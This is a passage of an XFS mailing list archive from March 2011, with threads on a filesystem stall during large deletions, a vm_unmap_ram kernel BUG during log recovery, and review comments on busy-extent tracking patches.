AAAAAAAAAAAAAAAAAGgFAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkA SQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAUAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///////// //////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAEAAAD+//////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARh8AAABNaWNyb3NvZnQgT2ZmaWNl IFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA= --=_21e002bde144449bc096ae4f01d38ead-- From david@fromorbit.com Sun Mar 27 18:22:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2RNMd54140683 for ; Sun, 27 Mar 2011 18:22:40 -0500 X-ASG-Debug-ID: 1301268346-4ec9012d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5AED8112A877 for ; Sun, 27 Mar 2011 16:25:47 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id jmOJTzHKlOeIIeYD for ; Sun, 27 Mar 2011 16:25:47 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjUEAMzEj015LK5JgWdsb2JhbACEQ6ENFQEBFiYlsGePOQ2BGoNLdwSSdQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Mar 2011 09:55:45 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3zL5-0000Ar-DV; Mon, 28 Mar 2011 10:25:43 +1100 Date: Mon, 28 Mar 2011 10:25:43 +1100 From: Dave Chinner To: Justin Piszcz Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Subject: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Message-ID: <20110327232543.GU26611@dastard> References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301268348 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59160 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Sat, Mar 26, 2011 at 09:29:36AM -0400, Justin Piszcz wrote: > Hi, > > When I rm -rf a directory of a few hundred thousand > files/directories on XFS under 2.6.38.1, I see the following, is > this normal? No. What is you filesystem config (xfs_info) and your mount options? Is it repeatable? IÑ• the system otherwise stalled or is it still operating normally? Does it recover and work normally after such a stall? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Mar 27 18:51:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2RNpIlL141373 for ; Sun, 27 Mar 2011 18:51:18 -0500 X-ASG-Debug-ID: 1301270063-7833022b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 92A3537F115 for ; Sun, 27 Mar 2011 16:54:23 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id qfFMHIkbgTGOCTEo for ; Sun, 27 Mar 2011 16:54:23 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjQEANLLj015LK5JgWdsb2JhbAClShUBARYmJYkGtxANhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 28 Mar 2011 10:24:22 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q3zmm-0000DQ-JN; Mon, 28 Mar 2011 10:54:20 +1100 Date: Mon, 28 Mar 2011 10:54:20 +1100 From: Dave Chinner To: Johannes Weiner Cc: Christoph Hellwig , Nick Piggin , Hugh Dickins , Andrew Morton , xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110327235420.GV26611@dastard> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> <20110310224945.GA15097@dastard> <20110321122526.GX2140@cmpxchg.org> <20110322125736.GZ2140@cmpxchg.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110322125736.GZ2140@cmpxchg.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1301270065 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.52 X-Barracuda-Spam-Status: No, SCORE=-1.52 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_RULE7568M X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59163 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_RULE7568M Custom Rule 7568M X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 22, 2011 at 01:57:36PM +0100, Johannes Weiner wrote: > On Mon, Mar 21, 2011 at 01:25:26PM +0100, Johannes Weiner wrote: > > On Fri, Mar 11, 2011 at 09:49:45AM +1100, Dave Chinner wrote: > > > FWIW, while the VM folk might be paying attention about vmap realted > > > stuff, this vmap BUG() also needs triage: > > > > > > https://bugzilla.kernel.org/show_bug.cgi?id=27002 > > > > I stared at this bug and the XFS code for a while over the weekend. > > What you are doing in there is really scary! > > > > So xfs_buf_free() does vm_unmap_ram if the buffer has the XBF_MAPPED > > flag set and spans multiple pages (b_page_count > 1). > > > > In xlog_sync() you have that split case where you do XFS_BUF_SET_PTR > > on that in-core log's l_xbuf which changes that buffer to, as far as I > > could understand, linear kernel memory. Later in xlog_dealloc_log you > > call xfs_buf_free() on that buffer. > > > > I was unable to determine if this can ever be more than one page in > > the buffer for the split case. But if this is the case, you end up > > invoking vm_unmap_ram() on something you never vm_map_ram'd, which > > could explain why this triggers the BUG_ON() for the dirty area map. > > Blech, that's bogus, please pardon my rashness. > > I looked over the vmalloc side several times but could not spot > anything that would explain this crash. > > However, when you switched from vunmap to vm_unmap_ram you had to add > the area size parameter. > > I am guessing that the base address was always correct, vunmap would > have caught an error with it. But the new size argument could be too > large and crash the kernel when it would reach into the next area that > had already been freed (and marked in the dirty bitmap). > > I have given up on verifying that what xlog_sync() does to l_xbuf is > okay. It would be good if you could confirm that it leaves the buffer > in a state so that its b_addr - b_offset, b_page_count are correctly > describing the exact vmap area. Thanks for looking at this, Hannes. A fresh set of eyes always helps. However, I don't think that l_xbuf is the only source of potential problems w.r.t. the mapped region size when the buffer is freed. This was reported on #xfs overnight: (http://pastebin.com/raw.php?i=P99pjDTn) [ 248.794327] XFS mounting filesystem md0 [ 248.970190] Starting XFS recovery on filesystem: md0 (logdev: internal) [ 249.434782] ------------[ cut here ]------------ [ 249.434962] kernel BUG at mm/vmalloc.c:942! [ 249.435053] invalid opcode: 0000 [#1] SMP [ 249.435200] last sysfs file: /sys/devices/virtual/block/dm-5/dm/name [ 249.435291] CPU 1 [ 249.435324] Modules linked in: arc4 ecb ves1820 rt61pci crc_itu_t eeprom_93cx6 rt2x00pci rt2x00lib mac80211 budget budget_core saa7146 ttpci_eeprom dvb_core ftdi_sio usbserial evdev button cfg80211 shpchp pci_hotplug r8168 serio_raw pcspkr e1000e edac_core ohci_hcd [ 249.436509] [ 249.436597] Pid: 2739, comm: mount Not tainted 2.6.38 #31 System manufacturer System Product Name/M4A785D-M PRO [ 249.436893] RIP: 0010:[] [] vm_unmap_ram+0x9a/0x133 [ 249.437078] RSP: 0018:ffff8801156fba88 EFLAGS: 00010246 [ 249.437168] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000 [ 249.437260] RDX: 0000000000000000 RSI: 0000000000000041 RDI: 0000000000000001 [ 249.437353] RBP: ffff8801156fbaa8 R08: 0000000000000000 R09: ffff8801125c4490 [ 249.437445] R10: ffff880114ff5780 R11: dead000000200200 R12: 0000000000000006 [ 249.437537] R13: ffffc900106e6000 R14: 0000000000040000 R15: ffff880114ff0dc0 [ 249.437631] FS: 00007fba61615740(0000) GS:ffff8800dfd00000(0000) knlGS:0000000000000000 [ 249.437777] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 249.437867] CR2: 00007fba61627000 CR3: 0000000114ff3000 CR4: 00000000000006e0 [ 249.437959] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 249.438051] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 249.438144] Process mount (pid: 2739, threadinfo ffff8801156fa000, task ffff8801190c4290) [ 249.438288] Stack: [ 249.438374] ffff880114ff0dc0 ffff880114ff0c80 0000000000000008 0000000000003590 [ 249.438637] ffff8801156fbac8 ffffffff811c167a ffff880119293800 ffff880114ff0c80 [ 249.438677] ffff8801156fbad8 ffffffff811b1b79 ffff8801156fbbf8 ffffffff811b4b37 [ 249.438677] Call Trace: [ 249.438677] [] xfs_buf_free+0x38/0x78 [ 249.438677] [] xlog_put_bp+0x9/0xb [ 249.438677] [] xlog_do_recovery_pass+0x5c8/0x5f4 [ 249.438677] [] xlog_do_log_recovery+0x58/0x91 [ 249.438677] [] ? xlog_find_tail+0x2a6/0x2fb [ 249.438677] [] xlog_do_recover+0x13/0xed [ 249.438677] [] xlog_recover+0x7e/0x89 [ 249.438677] [] xfs_log_mount+0xdb/0x149 [ 249.438677] [] xfs_mountfs+0x310/0x5c3 [ 249.438677] [] ? xfs_mru_cache_create+0x126/0x173 [ 249.438677] [] xfs_fs_fill_super+0x183/0x2c4 [ 249.438677] [] mount_bdev+0x147/0x1ba [ 249.438677] [] ? xfs_fs_fill_super+0x0/0x2c4 [ 249.438677] [] xfs_fs_mount+0x10/0x12 [ 249.438677] [] vfs_kern_mount+0x61/0x132 [ 249.438677] [] do_kern_mount+0x48/0xda [ 249.438677] [] do_mount+0x6ae/0x71b [ 249.438677] [] sys_mount+0x87/0xc8 [ 249.438677] [] system_call_fastpath+0x16/0x1b [ 249.438677] Code: d1 e8 75 f8 48 be 00 00 00 00 00 37 00 00 48 c7 c7 b0 98 62 81 49 8d 74 35 00 48 c1 ee 16 e8 a2 8c 12 00 48 85 c0 48 89 c3 75 02 <0f> 0b 4b 8d 74 35 00 4c 89 ef e8 2d fa ff ff 48 89 df e8 21 3a [ 249.438677] RIP [] vm_unmap_ram+0x9a/0x133 [ 249.438677] RSP [ 249.443421] ---[ end trace 2360f16b307700c6 ]--- Which is basically reading the log, not writing to it where l_xbuf comes into play. The log reading code plays a _lot_ of tricks with buffer offsets and sizes (if the simple l_xbuf tricks scare you, do not look at this code ;). Hence it's definitely possible that the size of the region being passed back to vm_unmap_ram() is wrong in some of the error cases. I'll spend some more time to verify whether they are restoring the buffer correctly or not before freeing it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jpiszcz@lucidpixels.com Mon Mar 28 03:07:04 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_43 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2S8746x157102 for ; Mon, 28 Mar 2011 03:07:04 -0500 X-ASG-Debug-ID: 1301299812-4218036a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 44361380ACD for ; Mon, 28 Mar 2011 01:10:12 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with SMTP id xj3M6dQuwxnp28cT for ; Mon, 28 Mar 2011 01:10:12 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id BA26D1202BD; Mon, 28 Mar 2011 04:10:11 -0400 (EDT) Date: Mon, 28 Mar 2011 04:10:11 -0400 (EDT) From: Justin Piszcz To: Dave Chinner cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice Subject: Re: 2.6.38.1: CPU#0 stuck for 67s! / xfs_ail_splice In-Reply-To: <20110327232543.GU26611@dastard> Message-ID: References: <20110327232543.GU26611@dastard> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1301299813 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59195 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 28 Mar 2011, Dave Chinner wrote: > On Sat, Mar 26, 2011 at 09:29:36AM -0400, Justin Piszcz wrote: >> Hi, >> >> When I rm -rf a directory of a few hundred thousand >> files/directories on XFS under 2.6.38.1, I see the following, is >> this normal? > > No. What is you filesystem config (xfs_info) and your mount options? > Is it repeatable? I? the system otherwise stalled or is it still > operating normally? Does it recover and work normally after such a > stall? Hi Dave, default mkfs.xfs options: > What is you filesystem config (xfs_info) and your mount options? # xfs_info /dev/sda1 meta-data=/dev/sda1 isize=256 agcount=44, agsize=268435455 blks = sectsz=512 attr=2 data = bsize=4096 blocks=11718704640, imaxpct=5 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=521728, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 /dev/sda1 on /r1 type xfs (rw,noatime,nobarrier,logbufs=8,logbsize=262144,delaylog,inode64) > Is it repeatable? I've not tried to repeat it as is spews messages over all of my consoles but it has happened more than once. > the system otherwise stalled or is it still operating normally? The console/xterm/ssh etc that is performing the removal does lockup but you are able to access the machine via a separate ssh connection. > Does it recover and work normally after such a stall? Yes, eventually, I believe I started seeing this problem when I added 'delaylog' option to the mount options.. Justin. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 07:04:16 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SC4EYe165388 for ; Mon, 28 Mar 2011 07:04:16 -0500 X-ASG-Debug-ID: 1301314043-64ef01c00000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id EB720381136; Mon, 28 Mar 2011 05:07:23 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id nSbNvpWuC8Uj1cOC; Mon, 28 Mar 2011 05:07:23 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4BEA-0004nA-9W; Mon, 28 Mar 2011 12:07:22 +0000 Date: Mon, 28 Mar 2011 08:07:22 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/6] xfs: optimize AGFL refills Subject: Re: [PATCH 1/6] xfs: optimize AGFL refills Message-ID: <20110328120722.GA18346@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.280301318@bombadil.infradead.org> <1300833051.2875.275.camel@doink> <20110323121613.GA468@infradead.org> <1301086981.2537.687.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301086981.2537.687.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301314043 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > The reason it was not obvious is because the case you're > treating is specifically when moving extents (blocks, > really) between the free list and the free btrees, in > xfs_alloc_fix_freelist(). You still need to force it > out when allocating and freeing "actually used" blocks, > which could also be considered "moving blocks from/to > the AGFL." I've updated the comment to make that more clear. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 07:04:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SC4mkp165424 for ; Mon, 28 Mar 2011 07:04:48 -0500 X-ASG-Debug-ID: 1301314077-69d503680000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E4E601D4E974; Mon, 28 Mar 2011 05:07:57 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id xguLM6Ryv8AACh0e; Mon, 28 Mar 2011 05:07:57 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4BEj-0004oV-8h; Mon, 28 Mar 2011 12:07:57 +0000 Date: Mon, 28 Mar 2011 08:07:57 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges Subject: Re: [PATCH 2/6] xfs: do not immediately reuse busy extent ranges Message-ID: <20110328120757.GB18346@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.474878707@bombadil.infradead.org> <1301086999.2537.688.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301086999.2537.688.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301314077 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 04:03:19PM -0500, Alex Elder wrote: > > + * Can be trimmed to: > > + * +-------+ OR +-------+ > > + * fbno fend fbno fend > > + * > > + * We prefer the lower bno extent because the next > > + * allocation for this inode will use "end" as the > > + * target for first block. If the busy segment has > > ...will use the updated value of fend as the target... I've replaced all these comments based on the text you replied to the last round (finally..) From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 07:07:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SC7ktp165530 for ; Mon, 28 Mar 2011 07:07:46 -0500 X-ASG-Debug-ID: 1301314255-3f2701f50000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BB2B315A1598; Mon, 28 Mar 2011 05:10:55 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id qm27nCVVySXyzdRd; Mon, 28 Mar 2011 05:10:55 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4BHa-0005iQ-8j; Mon, 28 Mar 2011 12:10:54 +0000 Date: Mon, 28 Mar 2011 08:10:54 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 3/6] xfs: exact busy extent tracking Subject: Re: [PATCH 3/6] xfs: exact busy extent tracking Message-ID: <20110328121054.GC18346@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200137.657110761@bombadil.infradead.org> <1301087060.2537.689.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1301087060.2537.689.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301314255 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Mar 25, 2011 at 04:04:20PM -0500, Alex Elder wrote: > > - * Insert a new extent into the busy tree. > > OK, to be honest I haven't re-read this entire block of > comment text to identify what might be of value. But > is there really *nothing* worth saving? Is the busy > extent tree documented adequately elsewhere? The old text doesn't really apply to the new code anymore. I'll see if there's a place I can insert some more documentaion, but it already has quite a lot of comments. > > if (new->bno < busyp->bno) { > > /* may overlap, but exact start block is lower */ > > This comment isn't really right any more (BUG_ON that condition). > > } else if (new->bno > busyp->bno) { > > /* may overlap, but exact start block is higher */ > > This one too. Removed. > > + continue; > > + } else if (fbno >= bend) { > > + rbp = rbp->rb_right; > > + continue; > > + } > > + > > I was going to suggest: > /* Extent overlaps busy extent */ > > here, but I think that may not be the case any more if > busyp->length is zero. Or rather, the extent may > surround the zero-length busy extent (which I suppose > could be considered overlap). > > If busyp->length is zero, I think the call to > xfs_alloc_busy_try_reuse() is not needed; in fact, > if it is already 0, that function will call > rb_erase() on the entry again. We will never see zero-length busy extents here. While they have to remain on the per-transaction/cil_context list they are properly removed from the rbtree. > ...therefore this branch is always taken, and the code > below this block to the end of the loop is not reached. > > Since this is the only place it's used, xfs_alloc_busy_try_reuse() > might as well be defined as a void function. > > (Ahh, but now that I've looked at the later patches > I see it gets used again later. I'm leaving my > comments here nevertheless.) Yes, it's changing in the next patch. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 07:32:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2SCWmxm166398 for ; Mon, 28 Mar 2011 07:32:48 -0500 X-ASG-Debug-ID: 1301315757-3f3703200000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 53A6312B35C7; Mon, 28 Mar 2011 05:35:58 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id oPekSGdTDm9yB9vI; Mon, 28 Mar 2011 05:35:58 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4Bfp-0002xf-Io; Mon, 28 Mar 2011 12:35:57 +0000 Date: Mon, 28 Mar 2011 08:35:57 -0400 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: add online discard support Subject: Re: [PATCH 5/6] xfs: add online discard support Message-ID: <20110328123557.GA11382@infradead.org> References: <20110322195550.260682574@bombadil.infradead.org> <20110322200138.024991786@bombadil.infradead.org> <1301087092.2537.691.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: 